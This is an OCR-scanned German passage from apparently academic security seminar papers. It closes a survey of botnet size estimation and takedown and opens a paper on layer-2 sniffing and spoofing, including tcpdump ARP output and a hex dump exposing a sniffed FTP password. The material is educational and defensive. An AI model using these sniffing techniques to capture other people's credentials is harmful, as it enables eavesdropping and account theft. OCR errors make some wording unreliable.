Botnetze von einschlégiger Sicherheitssoftware mit kleinerer Wahrscheinlichkeit als solche zu
erkennen als es bei groflen Botnetzen der Fall wére. Kleine Botnetze besitzen daher in der
einschlégigen Szene einen hoheren Marktwert und kénnen einfacher vermietet oder verkauft
werden [CoJMO06]. Die Entwicklung hin zu breitbandigen Anschliissen auch fiir Heim-PCs
macht es zudem nicht mehr nétig, mehrere tausend Bots zu akquirieren. Bei einem durch-
schnittlichen kabelgebundenen Internetanschluss mit etwa 1Mbps Hochlade-Geschwindigkeit
sind nur einige hundert Bots notig, um die Kapazitit einer OC3-Anbindung (155Mbps) zu
erreichen. Eine aus Sicht des Angreifers effektive dDoS-Attacke ist somit mit unter 200 Bots
bereits moglich.

Dennoch bleibt die Bewertung der Botnetzgrofie ein umstrittener Gegenstand der aktuellen
Forschung. Dagon et Al. untersuchten Botnetze von einer angeblichen Grofie von 350 000
aktiven Bots [DaZL06]. Rajab betrachtet in erster Linie Botnetze mit einer GroéBe von unter
1 000 Bots als potentiell gefahrlich [RZMT06].

6.1 Definitionen iiber BotnetzgriBe

Die Grofle eines Botnetzes ist das wichtigste charakteristische Merkmal, jedoch herrscht all-
gemein Uneinigkeit, wie sich diese Grofle definieren soll. Ein Problem bei der Bestimmung
der Grofle beobachteter Botnetze ist die Unterscheidung zwischen aktiven und passiven Bots.
Aktive Bots machen in der Regel nur 5-10% der Gesamtzahl an Bots aus [RZMTO07]. Der
Parameter der Botnetzgrofie ist immer in direktem Zusammenhang mit der verwendeten
Messmethode, den damit verbundenen Seiteneffekten und Kontext zu betrachten.

Zudem macht die Grofle eines Botnetzes keine Aussage iiber die Gefihrdung, die von dem
Botnetz ausgeht. Die Einteilung in passive und aktive Bots ist zudem nicht eindeutig definiert
und in den etablierten Messverfahren nur schwer zugénglich.

Daher haben sich in der Literatur zwei Definition etabliert. Der Fufabdruck (footprint) eines
Botnetzes bezeichnet die potentielle Gesamtgrofle eines Botnetzes zu einem gegebenen Zeit-
punkt. Gezéhlt werden alle infizierten Systeme, deren Botsoftware so konfiguriert ist, dass sie
sich dem beobachteten Botnetz anschliefit. Dieser Parameter bietet eine Aussage iiber den
Verbreitungsgrad des Botenetzes und iiber die Effektivitat des Verbreitungsmechanismus. Der
FuBabdruck eines Botnetzes ist zeitlich variabel und ist abhéingig von der tagesaktuellen Ver-
breitung sowie von Gegenmafinahmen, die seitens der betroffenen Systeme eingesetzt werden
[RZMTO07]. Alternative Bezeichnung fiir den FuBabdruck ist die Anzahl aller passiven und
aktiven Bots.

Die zweite Definition macht eine Aussage iiber die aktive Population (live population). Dieser
Parameter beschreibt die Anzahl jener direkt verfiigbaren Bots, die zu einem gegebenen Zeit-
punkt iiber den C&C-Kanal abrufbar sind. Somit ldsst sich anhand der Grofie der Population
eine Aussage {iber das Gefahrenpotential eines Botnetzes treffen. Eine Aussage iiber seine
Verbreitung lésst sich nicht ableiten [RZMTO07|. Eine alternative Bezeichnung ist die Anzahl
der aktive Bots.
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6.2 Methoden zur Abschdtzung der Botnetz-GréBe

Verschiedene Moglichkeiten der Bestimmung dieser Groflen sind Gegenstand der Forschung:

6.2.1 Infiltration

Unter Infiltration werden Techniken zusammengefasst, bei denen der Beobachter sich selbst
dem C&C-Kanal anschliefit, um die Befehle des Botmasters einzulesen. Diese Technik ermog-
licht zudem, das Ziel einer dDoS-Attacke schon vor deren eigentlichen Beginn auszumachen.

Spezialisierte Werkzeuge fiir diese Aufgabe existieren nur fiir das IRC-Protokoll als C&C-
Kanal und erlauben das Einschleusen des Beobachters in ein Botnetz als Drone. ,IRC Tracker
RZMTO06] erstellt mit den IRC-Zugangsdaten, die aus der Binérdatei der priméren Infektion
extrahiert werden, eine Verbindung zum C&C-Kanal. Die Software gibt vor, iiber hohe Re-
chenleistung und hohe Bandbreite zu verfiigen. Da insbesondere der Quellcode von Agobot
und SDBot frei zugénglich ist, bietet ,IRC Tracker* zudem eine Simulation der Auftrige, um
zustandsabhéingige Antworten regulirer Bots zu imitieren. Der IRC-Client ,,drone‘@ imitiert
ghnlich wie ,JRC Tracker* die Antworten verbreiteter Bots. Zudem ist er in der Lage, einen
SOCKS v4 Proxy anzubieten. ,,Drone“ bietet eine iibersichtliche Architektur, um die Soft-
ware gegebenenfalls einem modifiziertem IRCd anzupassen [BHKWO05]. Beide Software legt
Logdateien aller Befehle im TRC-Chat an.

Aus den Logdaten konnen nur bedingt Riickschliisse iiber die Grofie des Botnetzes gezogen
werden. Uber modifizierte IRCd ist es den Botmastern maglich, die Anzahl der eingelogg-
ten Bots zu verschleiern und JOIN-Nachrichten zu unterdriicken. Selbst bei einem regulidren
Betrieb iiber einen RFC-kompatiblen TRCd ist eine Bestimmung der Parameter des Fuf-
abdruckes generell nicht moglich, da passive Bots nicht in ihrer Gesamtheit erfasst werden
konnen.

Bei der Berechnung der tatséchlichen Population geniigt es nicht, die Anzahl der eindeu-
tigen Benutzer-IDs zu zéhlen. Bei Beobachtungen mehrerer Botnetze konnte ein Verhéltnis
zwischen eindeutigem Benutzernamen des Bots und eindeutiger IP-Adresse des Bots von
durchschnittlich 1:3 ermittelt werden [RZMTO07]|. Dieses Verhiltnis ist in erster Linie auf
die Multithreadfihigkeit der Botsoftware zuriickzufiithren. Agobot und Derivate bieten eine
Clone-Funktion, die beliebig viele Instanzen der Botsoftware auf dem Opfersystem erzeugt.
Somit ist es dem Botmaster moglich, mehrere Botinstanzen fiir ein einziges Botnetz zu erzeu-
gen, aber auch ein Opfersystem in mehrere Botnetze einzubinden. Somit sind die Botnetze
in der Regel nicht disjunkt [RZMT07]. Vereinzelt konnte beobachtet werden, wie Botmaster
gegenseitig Bots austauschen oder ,stehlen® [BHKWO05].

Der Parameter der Population muss also auch beim Vorhandensein genauer und vollsténdiger
Logdateien des C&C-Kanals auf einer Schiitzung beruhen.

6.2.2 DNS-Weiterleitung

Dagon et Al. entwickelten eine alternative Methode, die auf der Manipulation des DNS-
Eintrages des IRC-Servers beruht [DaZL06]. Diese Methode ist anwendbar, wenn die Zu-
gangsdaten innerhalb der Bindrdatei auf dem Opfersystem nicht in Form feste IP-Adressen
sondern als dynamischer Domainname vorliegen. Durch das Andern des DNS-Eintrages des
C&C-Kanals von autorisierter Seite kann die Verbindungsaufnahme der Bots auf einen eige-
nen Server umgelenkt werden. Dieser eigene Server nimmt alle TCP-Verbindungen entgegen

Yhttp://honeynet.org
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und protokolliert die IP-Adressen. Diese Methode erlaubt es nur, den Parameter des Fuflab-
druckes mit genau und ohne Schitzung zu bestimmen. Angaben iiber die aktive Population
konnen nicht gemacht werden.

Ein Botmaster kann die Umleitung des DNS-Eintrages jedoch mit einfachen Mitteln erkennen
und die Update-Funktion der Bots, die noch unter seiner Kontrolle sind, zur Neustrukturie-
rung des Botnetzes nutzen |[RZMTO07]|.

Die Methode der DNS-Weiterleitung dient nur zur Bestimmung der Grofle des Fuflabdruckes.
Informationen iiber die Tétigkeiten des Botnetzes, insbesondere iiber gelante und zukiinftig
stattfindende dDoS-Attacken kénnen nicht gesammelt werden.

6.2.3 Analyse von DNS-Caches

Informationen vom Botnetz selbst sind wegen des vermehrten Aufkommens modifizierter
IRCd und dem Umstieg auf alternative und weitestgehend unerforschte C&C-Kanile nicht
immer moglich. Dennoch lassen sich mit externen Daten, die nicht aus dem unmittelbaren
Umfeld des Botnetzes stammen, Informationen iiber dessen charakteristische Eigenschaften
ableiten.

Eine Moglichkeit bildet das Analysieren von Cache-Daten eines DNS-Servers [RZMTO06]. Ein
Bot tétigt unter normalen Umsténden eine DNS-Abfrage, um sich dem C&C-Kanal anzu-
schliefen. Diese Abfrage erfolgt unabhéngig vom Protokoll des C&C-Kanals. Zur Analyse
wird die abzufragende Zieladresse aus einer eingefangenen Binédrdatei der Botsoftware extra-
hiert. In regelméfligen Abstédnden kann bei mehreren DNS-Servern die Ressource auf Vor-
handensein im DNS-Cache iiberpriift werden. Ein Cache-Hit impliziert, dass mindestens ein
Bot im TTL-Intervall des DNS-Caches einen Loginversuch in den C&C-Kanal unternommen
hat. So kann die Grofie des FuBBabdruckes geschétzt werden. Ableitungen iiber die Grofle der
Population sind nicht moéglich.

Um eine verléssliche Schiatzung zu ermdoglichen, ist die Abfrage einer grofien Anzahl an DNS-
Servern notig.

7 Herausforderung der Botnetz-Zerstorung

Das Stoppen erkannter und analysierter Botnetze ist generell schwierig und in der Forschung
wenig behandelt. In Einzelfillen konnte beobachtet werden, dass feindliche Botmaster sich
wechselseitig Botnetze ,stehlen [BHKWO05]. Diese rechtlich zweifelhaften Mechanismen, die
auf dem Uberwinden von herkémmlichen Sicherheitsmechanismen beruhen, kénnen auch zum
Stoppen schédlicher Botnetze herangezogen werden.

Im Fall eines zentralen C&C-Kanals ist das Deaktivieren der zentralen Stelle eine sichere
Methode, das Botnetz zu zerstoren. Der unmittelbare Abbruch aller dem Botnetz durch C&C-
Parameter bekannter Adressen fithrt zum unmittelbaren Stopp des gesamten Botnetzes. In
der Praxis ist dies etwa durch polizeiliche Beschlagnahme von Servern moglich.

Alternative und langfristig wirksame Moglichkeiten sind nicht bekannt.

8 Fazit

Botnetze sind die Grundlage fiir verschiedene aktuelle Bedrohungen des Internets. Wegen
der generell dezentralen Anlage gestaltet sich das Aufspiiren und vor allem das Stoppen der
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schidlichen Aktionen als schwierig. Erhebungen zu Folge sehen Systemadministratoren Bot-
netze als die grofite Bedrohung an [Netw07]. Wihrend die etablierten und mitunter veralteten
Botnetz-Systeme, welche auf IRC als C&C-Kanal basieren, sehr gut verstanden sind, stellen
neue Phénomene wie alternative Protokolle und verschliisselte Kommunikation neue Heraus-
forderungen. Die Internetgemeinschaft muss sich diesen Herausforderungen stellen.
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Sniffing und Spoofing: Angriffe auf Schicht 2

Lars Volker

Im vorliegenden Papier sollen die wesentlichen Charakteristika der Methoden
»oniffing” und , Spoofing“ und ihre Bedeutung fiir Angriffe auf Netzwerkproto-
kolle der Schichten 2 und 3 dargestellt werden. Auflerdem werden Moglichkei-
ten der Erkennung solcher Angriffe und mogliche Gegenmafinahmen durch einen
Netzwerkadministrator beschrieben. Dadurch sollen Anwender in die Lage ver-
setzt werden, sich vor solchen Angriffen und einem eventuellen Schaden besser zu
schiitzen.

1 Einleitung

Das gebriauchliche Modell der Kommunikation in Computernetzwerken ist das ISO/OSI-
Schichtenmodell, ein hierarchisches Kommunikationsmodell fiir heterogene Computernetz-
werke [Tane03]. Jede der Schichten verbirgt dabei alle unterliegenden Schichten und stellt
den oberen eine wohldefinierte Schnittstelle zur Verfiigung, die Methoden zur Netzwerkkom-
munikation bereitstellt. Kann eine der Schichten in diesem Modell kompromittiert werden, so
ist hiervon auch die Integritéit der dariiberliegenden Schichten betroffen.

Die Moglichkeiten, eine Dateniibertragung auf den unteren Schichten anzugreifen, sind vielfal-
tig und teilweise wenig komplex. Um sie darstellen zu kénnen und um mogliche Gegenmaf3-
nahmen zu erldutern wird in Abschnitt [2 zunéchst der Aufbau des ISO/OSI-Modells kurz
behandelt. Auflerdem wird die Funktionsweise der wichtigsten Protokolle erliutert sowie de-
tailliert auf prinzipielle Schwachstellen hierarchischer Kommunikationsmodelle eingegangen.
Anschlieend werden in den Abschnitten [3 und [4 die Begriffe ,Sniffing” und ,,Spoofing* er-
ldutert. Abschnitt 5/ beschreibt die konkreten Methoden, die Angreifer verwenden kénnen,
um die Sicherheit von Netzwerksystemen zu kompromittieren; in Abschnitt [6] wird erldu-
tert, welche weiterfithrenden Angriffe unter Verwendung der aufgezeichneten Daten moglich
sind. Zum Abschluss werden in Abschnitt 7] weitere Angriffsmoglichkeiten beschrieben, die
auf den Techniken Sniffing und Spoofing aufbauen. In Abschnitt [8 werden die Erkenntnisse
zusammengefasst und Hinweise zur Gefahrenabwehr gegeben.

2 Schicht 1 bis 4 im 1ISO/0OSI-Modell

Um die Kommunikation zwischen zwei Anwendungen, die auf unterschiedlichen Computer-
systemen ausgefiihrt werden, zu ermdglichen, ist eine Anzahl verschiedener Hard- und Softwa-
rekomponenten erforderlich. Hierzu zéhlen insbesondere Netzwerkadapter, Treiber, Software-
bibliotheken und Teile der Anwendungen selbst. Angefangen bei der physikalischen Signal-
iibermittlung iiber die Dekodierung und Weiterleitung der Signale bis hin zur Anwendung,
ldsst sich ein hierarchischer Kommunikationsprozess feststellen, der im ISO/OSI-Modell mo-
delliert wird. In diesem Modell werden die einzelnen Schichten beschrieben, durch die sich
die verschiedenen Komponenten ihrer Funktionalitdt und ihren Aufgaben geméaf klassifizieren
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lassen. Komponenten einer Schicht greifen typischerweise auf die von der darunterliegenden
Schicht zur Verfiigung gestellten Dienste und Methoden zu, um ihre Aufgabe zu erfiillen,
und stellen ihrerseits den Komponenten der nichsthoheren Schicht verschiedene Dienste zur
Verfiigung.

Jede der Schichten verbirgt somit ihre Implementierungsdetails vor der ndchsthéheren Schicht
und kann gleichzeitig transparent iiber die unterliegende Schicht mit ihrem Pendant auf ei-
nem entfernten Computersystem kommunizieren. Zwischen zwei gleichen Schichten auf unter-
schiedlichen Systemen kommt es somit zu einer virtuellen horizontalen Kommunikation, d.h.
zum Datenaustausch zwischen gleichen Komponenten auf unterschiedlichen Systemen, wo-
hingegen die tatséichliche Kommunikation vertikal mit der darunterliegenden Schicht abliuft.
Lediglich auf der untersten Schicht der Signaliibermittlung kommt es zu realer, physikalischer
horizontaler Kommunikation.

Dieses Modell und die dadurch beschriebenen Kommunikationsprozesse sind in Abbildung [1
schematisch dargestellt.

\
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‘Ethernet‘ ‘Token Ring\
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1: Bitlbertragung

%

Abbildung 1: Das ISO/OSI-Modell nach [Abec07]

Durch diese einheitliche Modellierung wird eine Kommunikation auch in heterogenen Umge-
bungen, d.h. mit Beteiligung verschiedener Ubertragungstechnologien, Betriebssysteme und
Anwendungen ermoglicht. Identifiziert man Sender und Empfianger als Applikation, so sind
die Schichten 1-4 von gehobener Bedeutung, da hier die Verteilung, Vermittlung und die
physikalische Ubertragung von Daten stattfindet. Die Schichten 5-7 spielen innerhalb des
Computersystems von Sender und Empfénger selbst eine Rolle.

Auf Grund der hohen Komplexitéit uninterpretierter elektrischer Signale, stellt die 1. Schicht
keinen praktischen Angriffspunkt dar. Ab Schicht 2 liegen die Daten bereits in digitaler Form
vor und kénnen von Programmen und Benutzern mitgelesen und ausgewertet, gegebenenfalls
sogar verindert werden. Selbst wenn also ein Angreifer Zugriff auf Daten der Schicht 1,
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d.h. auf elektrische oder optische Signale erhélt, muss er diese in der Regel zunéchst durch
Dekodierung auf Schicht 2 {ibertragen, um eine Analyse vornehmen zu kénnen.

2.1 Funktionsweise der einzelnen Protokolle

Die hier aufgefiihrte Beschreibung der Funktionalitdt beschrénkt sich auf die sicherheitsrele-
vanten Aspekte der Protokolle und erhebt keinen Anspruch auf Vollstédndigkeit. Detailliertere
Beschreibungen findet man in den einzeln angegebenen Quellen.

e Schicht 2: CSMA/CD (Ethernet)

Die prinzipielle Idee, die dem Ethernet-Protokoll zu Grunde liegt, ist ein stéindiges Uber-
wachen der gemeinsamen Sendeleitung durch alle angeschlossenen Teilnehmer. Um eine
Kollision zu vermeiden werden nur dann Daten iibertragen, wenn gerade keine ande-
re Station sendet. Auf Grund der endlichen Ausbreitungsgeschwindigkeit von Signalen
kann es dennoch zu einer Kollision kommen, wenn zwei Teilnehmer gleichzeitig zu sen-
den anfangen. Wird eine Kollision detektiert, wiederholen die beteiligten Stationen die
Ubertragung. Das Ethernet-Protokoll ist heute der Quasistandard fiir Computernetz-
werke, setzt sich aber auch im Bereich Telekommunikation sowie in der Licht- und
Tontechnik immer stidrker durch. Als haufigste Topologien findet man beim Ethernet-
Protokoll Bussysteme und sternférmige Netzwerke. Bei modernen Ethernetnetzwerken
sind Twisted Pair Kabel mit 8 paarweise verdrillten und geschirmten Adern gebrauch-
lich. Je nach Geschwindigkeit werden nur 2 der 4 Adernpaare verwendet [Robe05].

e Schicht 2: Token Ring

Beim Token-Ring-Protokoll hat immer nur ein Teilnehmer das Senderecht in Form eines
virtuellen Tokens, wodurch Kollisionen vermieden werden. Jeder Teilnehmer hat einen
Vorgénger, von dem er das Token erhilt, und einen Nachfolger, an den er das Token
weitergibt. Sollen Daten iibertragen werden, so héngt der Teilnehmer die Daten an
das Token an und markiert es als ,,besetzt“. Kommt das Token beim Empfinger an
entnimmt dieser die Daten und sendet auf gleiche Art und Weise eine Bestétigung an den
Sender. Durch das beschriebene Vorgénger-Nachfolger-Prinzip entsteht als Topologie
ein geschlossener Ring. Vorgénger und Nachfolger sind hierbei durch die physikalische
Struktur vorgegeben [Robe98].

e Schicht 3: IP

Das Internet Protocol (IP) sorgt in Netzwerken fiir die Vermittlung iiber mehrere be-
teiligte Stationen hinweg. Dadurch kénnen mehrere Netzwerke verbunden und Pakete
zwischen Computern verschickt werden, die an kein gemeinsames Medium angeschlos-
sen sind. In Version 4 des Internet Protocol werden 32 bit lange IP-Adressen verwendet,
iiblicherweise durch 4 dezimal kodierte Oktette dargestellt, z.B. 194.25.2.129. Version 6
des Internet Protocol verwendet hingegen 128 bit lange Adressen, deren Notation der
der MAC-Adressen dhnelt, z.B. 2001:6{8:915:0:230:1bff:feb9:742b. Beiden Protokollver-
sionen ist gemein, dass neben der IP-Adresse eine Netzwerkmaske bestimmt, ob ein
Zielrechner im lokalen Netzwerk erreichbar ist, in dem sie IP-Adresse von links in einen
Netzwerk- und einen Rechnerteil zerlegt. Ist ein Rechner nicht lokal erreichbar, so wird
in der Regel ein nachfolgender Rechner ausgew#hlt, und das Paket an diesen weiterge-
leitet. Diesen Entscheidungsprozess bezeichnet man als ,Routing®. [Post81b, DeHi98§]

e Schicht 2: ARP

Mit Hilfe des Address Resolution Protocol (ARP) werden Adressen des Internetpro-
tokolls (IP-Adressen) in Hardwareadressen (auch Media Access Control - bzw. MAC-
Adressen) iibersetzt. MAC-Adressen sind 48 bit lang und werden in hexadezimaler Form
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dargestellt (z.B. 00:30:1B:B9:74:2B). Jeder Teilnehmer im Netzwerk speichert die Ab-
bildung von IP-Adressen zu MAC-Adressen in tabellarischer Form in einer sogenannten
MAC-Tabelle. Die aktuelle MAC-Tabelle kann auf Linux-Computern mit dem Befehl
»arp -a“ eingesehen werden. Ein Eintrag hat beispielsweise folgende Form:

rechner.ea (192.168.1.14) auf 00:30:1B:B9:74:2B [ether] auf ethO

Man erkennt hier den Rechnernamen (,rechner.ea“), die IP-Adresse und die zugehérige
MAC-Adresse. Aulerdem wird gespeichert, {iber welchen Netzwerkadapter der Rechner
zu erreichen ist (hier: ,,eth0%).

ARP stellt somit die Verbindung zwischen den Schichten 2 und 3 her. Es handelt sich um
ein sehr einfaches, zustandsloses (Engl: ,stateless“) Protokoll, in dem nur zwei mogliche
Dateneinheiten existieren: ,arp-request® und ,,arp-reply“.

Um zu einer IP-Adresse (z.B. 192.168.1.14) die MAC-Adresse des zugehorigen Teilneh-
mers zu ermitteln, wird ein arp-request-Paket erzeugt und an alle Stationen gesendet, die
am gemeinsamen Medium angeschlossen sind. Die Station mit der gesuchten IP-Adresse
nimmt anschlieBend die MAC-Adresse des Absenders in ihre eigene MAC-Tabelle auf
und schickt ein Paket an den Absender, das sowohl ihre eigene MAC- als auch ihre
IP-Adresse enthélt. Somit kann der Absender weitere Pakete fiir die gleiche IP-Adresse
richtig adressieren [Plum82].

Schicht 3: ICMP

Das Internet Control Message Protocol dient dem Austausch von Steuerungsinforma-
tionen zwischen den Kommunikationspartnern im Netzwerk. Zu den bekanntesten Pro-
tokolldateneinheiten zéhlen hierbei ,jecho-request” und ,echo-reply“. Mit einem echo-
request-Paket fordert ein Teilnehmer bei einem anderen eine Antwort in Form eines
echo-reply an. Dieser wird in der Regel antworten, so dass ICMP am h&aufigsten zur
Uberpriifung der Erreichbarkeit von Teilnehmern eingesetzt wird. AuBerdem kann man
die Zeit messen, die bis zum Eintreffen der Antwort verstreicht und so eine ungefihre
Schitzung von der Reaktionszeit des Kommunikationspartners, der sogenannten Latenz,
erhalten. Zum Versenden und Empfangen solcher Pakete kann das Programm ping ver-
wendet werden, das bei jedem Betriebssystem vorhanden ist. [Post81a]

Schicht 4: DNS

Das Domain Name System stellt Methoden zur Verfiigung, mit denen der Hostna-
me eines Rechners (z.B. www.google.de) in seine IP-Adresse(n) iibersetzt wird. Es
erspart dem Anwender das miihsame Eingeben von IP-Adressen in Programmen wie
z.B. Browsern und hat sich als Standard fiir diese Funktionalitit etabliert. Auflerdem
konnen DNS-Server bei ordnungsgeméfler Konfiguration auch dafiir verwendet werden,
IP-Adressen ,riickwérts® in Hostnamen zu {ibersetzen, um z.B. Protokolldateien eines
Dienstes besser lesbar zu machen, man nennt dieses Verfahren ,reverse DNS“. In einem
Computernetzwerk wird dieser Dienst in der Regel von einem oder mehreren DNS-
Servern zur Verfiigung gestellt [Mock87].

Schicht 4: DHCP

Das Dynamic Host Configuration Protocol (DHCP) iibernimmt die dynamische und
automatische Konfiguration von angeschlossenen Stationen. Es stellt den Teilnehmern
alle Informationen zur Verfiigung, die notig sind, um sich an der laufenden Netzwerk-
kommunikation zu beteiligen. Dazu gehoren im Regelfall eine IP-Adresse, die Netzmas-
ke, der Standardgateway und ein oder mehrere Nameserver innerhalb des Netzwerkes.
Mogliche Anwendungen fiir DHCP sind vor allem die vereinfachte und automatische
Konfiguration von Computersystemen in Netzwerken [Drom97].
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2.2 Prinzipielle Schwachstellen hierarchischer Kommunikationsmodelle

Bei hierarchischer Kommunikation wird stets eine scharf definierte Funktionalitit in der
néchsttieferen Schicht gekapselt. Ein Prozess, der einen Dienst der néchsttieferen Schicht
in Anspruch nimmt, verlésst sich darauf, dass diese ihre Aufgabe korrekt erledigt. Es ist ihm
in der Regel nicht moglich, die tieferliegenden Schichten einzusehen.

Wird nun eine Kommunikation an einer bestimmten Stelle kompromittiert, so sind Daten und
Inhalte, aber auch Steuerinformationen héherer Schichten, ebenfalls davon betroffen. Sind die
Inhalte die auf den hoheren Schichten iibermittelt werden nicht verschliisselt oder anderwei-
tig gegen Manipulationen und unerwiinschte Einsichtnahme gesichert, ist eine zuverléssige
Kommunikation nicht mehr moglich (Abbildung 2).

Es ist somit offensichtlich, dass das Gesamtsystem nie sicherer ist, als die einzelnen Teilkom-
ponenten. Ein Angriff auf eine der unteren Schichten stellt eine ernstzunehmende Bedrohung
dar.

Anne Bob

7: Anwendungskomm. — — — == 7:Anwendungskomm.
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Abbildung 2: Beispiel fiir eine eine Kompromittierung der Schicht 2 und die damit verbundene
Fortpflanzung der Unsicherheit auf die dariiberliegenden Schichten.

Anmerkung: Diese Tatsache beschriankt sich nicht nur auf Kommunikation in Computernetz-
werken. Auch im Alltag, zum Beispiel bei der Post, beim Telefonieren, oder bei der Begegnung
mit anderen Menschen verlassen wir uns darauf, dass unterliegende Schichten die Kommuni-
kation fehlerfrei weiterleiten. Man wird z.B. in der Regel auf das Berechnen der Priifsumme
eines Briefes verzichten, denn ein Brief wird selten bei der Ubertragung durch die Post ver-
falscht.
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3 Sniffing

3.1 Definition und Erkldrung

Mit Sniffing bezeichnet man im Kontext der Netzwerksicherheit das Mithéren von Daten
[Russ02]. Es stellt somit einen passiven Angriff auf die Sicherheit eines Netzwerkes dar, da
der Angreifer in der Regel keine Daten in das Netzwerk sendet. Stattdessen wird er versu-
chen, durch das Sammeln von Informationen weitere Angriffe zu ermoglichen und Geheim-
nisse mitzulesen, die hierbei hilfreich sind. Hierbei kann es sich sowohl um Zugangsdaten
wie Benutzernamen und Passworter als auch um Kenntnisse iiber verwendete Protokolle und
Mechanismen handeln.

Durch seine Passivitit ist ein Angriff durch Sniffing nur sehr schwer zu entdecken. Wenn
der Angreifer selbst Daten sendet, um Zugriff auf den Netzwerkverkehr zu erhalten, kann er
sich dadurch verraten. Auflerdem kann man in manchen Féillen versuchen, einen Mithorenden
dazu zu bringen, dass er sich selbst verrdt. Mit Methoden und Angriffen, die ein Mithoren
von Kommunikation ermdoglichen, beschiftigt sich Abschnitt [5. Abschnitt 6 geht ndher auf
die Moglichkeiten ein, die einem die Analyse der abgefangenen Daten ertffnen kann.

3.2 Sniffing als schiitzende MaBnahme

Sniffing hat nicht immer den Zweck, Schaden anzurichten, Information auszuspdhen oder
Sicherheitsmechanismen zu umgehen. Stattdessen kann Sniffing dabei helfen, ein Netzwerk
zu iiberwachen und Fehlfunktionen, Angriffe und andere Stérungen rechtzeitig zu erkennen.

4 Spoofing

4.1 Definition

Als Spoofing bezeichnet man im Kontext der Netzwerk- und Computersicherheit das Vor-
tduschen einer fremden Identitdt ([Russ02]. Spoofing kann auf jeder Ebene des ISO/OSI-
Kommunikationsmodells stattfinden.Im Gegensatz zu Sniffingattacken ist mit der Kompro-
mittierung einer Schicht nicht automatisch die dariiber stattfindende Kommunikation be-
troffen: eine gefilschte Absenderadresse in einem IP-Paket fithrt nicht zwangsweise zu einer
falschen Absenderadresse einer eMail.

In dieser Ausarbeitung wird Spoofing lediglich als Angriff auf niedere Schichten und die
dortigen Protokolle wie ARP und IP betrachtet.

4.1.1 Positive Aspekte des Spoofing

Wie bei Sniffing existieren auch fiir Spoofing Anwendungsfille, die keinen Angriff auf die
Sicherheit eines Systems darstellen. Zu den Anwendungsgebieten zihlen zum Beispiel:

e Webserver, auf denen sog. VirtualHosts eingerichtet sind, Spoofen die Identitdt des
Webservers, fiir dessen Domain sie Daten ausliefern

e In Failover-Szenarien bietet das Spoofing einer MAC-Adresse eine Moglichkeit, bei Aus-
fall des Hauptrechners dessen Dienste von den Clients unbemerkt durch einen Ersatz-
rechner verrichten zu lassen



Methoden und Angriffe 99

5 Methoden und Angriffe

Im Folgenden werden die géngigen Infrastrukturkomponenten, sowie ihre Schwachstellen, An-
griffe und moglichen Gegenmafinahmen beschrieben. Hiufig kann nicht eindeutig zwischen
Sniffing- und Spoofing-Angriffen unterschieden werden, oftmals kommen beide Techniken
gleichzeitig zum Einsatz. Dies ist vor allem dann der Fall, wenn Daten umgeleitet werden
miissen, um sie anschliefend mitlesen zu kénnen. AuBlerdem kann man durch Sniffing an
Information iiber Identitdten wie Passworter und Benutzernamen, aber auch Adressen ge-
langen, die man anschlieflend in einem Spoofing-Angriff annimmt um einen Angriff weiter
auszuweiten.

5.1 Kabel und Hubs

Sind alle Stationen eines Netzes durch ein Kabel verbunden, so werden von jedem Teilnehmer
samtliche Pakete empfangen. Dies ist auch der Fall, wenn die Stationen durch einen zentralen
Hub verbunden sind. Die Netzwerkadapter der einzelnen Stationen kennen ihre eigene MAC-
Adresse und filtern den Strom der Datenpakete nach solchen, die an sie selbst adressiert sind.
Durch einen Befehl, der iiber das Betriebssystem bzw. den Treiber an den Adapter gesen-
det wird, lassen sich Netzwerkadapter in den sogenannten ,promiscuous mode® versetzen, in
dem dieser Filter deaktiviert ist, so dass jeglicher Netzwerkverkehr an das Betriebssystem
weitergeleitet wird. Dort kann er dann mit verschiedenen Programmen ausgewertet und auf-
gezeichnet werden. Die géngigen Programme fiir solche Zwecke — unter Linux z.B. tepdump —
iibernehmen das Umschalten in den promiscuous mode selbst. Auflerdem bieten sie zahlreiche
Moglichkeiten, den Datenstrom nach eigenen Kriterien zu filtern und auf unterschiedliche Art
und Weise anzuzeigen [Russ02, Tane03].

5.2 Beispiel

Im Folgenden wird eine Beispielausgabe des ARP-Verkehrs betrachtet, der an einer Netz-
werkschnittstelle mitgelesen wurde. Man erkennt zwei Vorgénge: der Teilnehmer mit der IP-
Adresse .1 versucht, die MAC-Adresse der Teilnehmer mit den IP-Adressen .12 und .222 zu
ermitteln. Hierfiir versendet er arp-request Pakete. Wie man an der Zeitangabe in der linken
Spalte erkennt, erfolgt die Antwort auf eine solche Anfrage in sehr kurzer Zeit.

13:37:43.365944 arp who—has 192.168.1.222 tell 192.168.1.1
13:37:43.366207 arp reply 192.168.1.222 is—at 00:0b:82:05:3f:b7
13:37:44.586755 arp who—has 192.168.1.12 tell 192.168.1.1
13:37:44.586892 arp reply 192.168.1.12 is—at 00:11:24:88:02:f0

Fin zweites Beispiel sei ein Paket aus dem Anmeldevorgang am FTP-Server ftp.kernel.org.
In der linken Spalte wird die Position der Daten im Datenpaket angegeben, gefolgt von der
hexadezimalen Darstellung der Daten. In der rechten Spalte werden die Daten als lesbare
Zeichen dargestellt, sofern es sich jeweils um ein darstellbares Zeichen handelt. Man erkennt
das Passwort, das der Benutzer angegeben hat.

0x0000: 0005 5d7c¢ e8e5 0030 1bb9 742b 0800 4510 ..]|...0..t+..E.
0x0010: 004e a80b 4000 4006 451a c0a8 010e cc98 .N..Q.Q.E.......
0x0020: bf25 ¢b21 0015 4c¢98 db79 1745 e8ab 8018 . %.!..L..y.E....
0x0030: 002e 80d2 0000 0101 080a 0d21 7b6d 0cf9 ........... '{m..
0x0040: cca8 5041 5353 2070 6173 7377 6f72 6440 ..PASS.password@
0x0050: 646f 6d61 696e 2e¢63 6f6d 0dOa domain .com ..
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Man hat auf Mehrbenutzersystemen, unabhiingig von der verwendeten Ubertragungstechnik,
die Moglichkeit, den Netzwerkverkehr der anderen Benutzer zu iiberwachen, vorausgesetzt
man besitzt die notigen Rechte, die Datenpakete von der Netzwerkkarte mitzulesen. Auf
Linux-Systemen ist hierzu nur der Benutzer root berechtigt. Unprivilegierte Benutzer erhalten
eine Fehlermeldung: ,socket: Operation not permitted*.

5.2.1 Drahtlosnetzwerke

Neben Ethernet verhalten sich auch Drahtlosnetzwerke (WLAN) auf Schicht 2 so, als wé-
ren alle beteiligten Stationen iiber ein gemeinsames Kabel verbunden, schliellich kann jeder
Teilnehmer mit einer Antenne allen Datenverkehr empfangen. Auch hier kann man eine Netz-
werkkarte mit eingeschaltetem promiscuous mode verwenden, um eingehende Pakete anderer
